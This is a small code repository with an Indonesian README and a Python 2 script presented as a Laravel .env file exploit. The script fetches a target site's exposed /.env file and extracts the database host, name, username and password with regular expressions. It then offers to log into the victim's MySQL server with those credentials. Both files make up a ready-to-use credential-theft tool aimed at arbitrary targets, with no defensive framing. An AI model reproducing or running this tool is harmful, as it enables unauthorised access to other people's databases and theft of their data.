├── README.md └── laravel.py /README.md: -------------------------------------------------------------------------------- 1 | # laravelExploit 2 | Exploit laravel database config
3 | Yang perlu di install sebelum menjalankan tool:
4 | - modul requests python 2.7
5 | - mysql-server(kalau pake debian/ubuntu)

6 | Tool ini sudah auto konek ke mysql server
7 | usage:
8 | python laravel.py http://target.com/[path]
9 | python laravel.py http://target.com/ 10 | -------------------------------------------------------------------------------- /laravel.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | 4 | import requests 5 | import re 6 | import sys 7 | import time 8 | import os 9 | 10 | banner = """ 11 | =================================================== 12 | = LARAVEL .ENV FILE EXPLOIT = 13 | = AUTHOR : SECURITY007 = 14 | =================================================== 15 | """ 16 | 17 | def exp(host): 18 | hh = host+"/.env" 19 | req = requests.get(hh) 20 | cek_status = req.status_code 21 | cari = req.text 22 | if (cek_status == 200): 23 | print "[+] Vuln" 24 | time.sleep(1) 25 | print "[+] Menerima info database" 26 | time.sleep(1) 27 | try: 28 | hostnya = [] 29 | gethost = re.findall("DB_HOST=(.*?)\n",cari) 30 | getdb = re.findall("DB_DATABASE=(.*?)\n",cari) 31 | getuser = re.findall("DB_USERNAME=(.*?)\n",cari) 32 | getpassw = re.findall("DB_PASSWORD=(.*?)\n\n",cari) 33 | dbhost = gethost[0] 34 | if (dbhost == "localhost" or dbhost == "127.0.0.1"): 35 | a = hh.split("/") 36 | b = a[2] 37 | e = hostnya.append(b) 38 | show = """ 39 | ===================[Database Info]====================== 40 | = [Host] : """+hostnya[0]+""" 41 | = [Database] : """+getdb[0]+""" 42 | = [User] : """+getuser[0]+""" 43 | = [Password] : """+getpassw[0]+""" 44 | ======================================================== 45 | """ 46 | 47 | print show 48 | except KeyboardInterrupt: 49 | print req.text 50 | 51 | time.sleep(1) 52 | konek = raw_input("[+] Mau konek ke mysql server ? [y/n] ") 53 | if (konek == "y"): 54 | os.system("sudo apt-get install mysql-server") 55 | print "\nLogin MySql" 56 | ip = raw_input("Host : ") 57 | os.system("mysql -h "+ip+" -D "+getdb[0]+" -P 3306 -u "+getuser[0]+" -p ") 58 | else: 59 | print "[-] Bye.." 60 | else: 61 | print "[-] Not Vuln" 62 | 63 | 64 | 65 | def main(): 66 | print banner 67 | if (len(sys.argv) == 2): 68 | exp(sys.argv[1]) 69 | else: 70 | print "Usage python "+sys.argv[0]+" http://vuln.com/ " 71 | 72 | if __name__ == "__main__": 73 | main() --------------------------------------------------------------------------------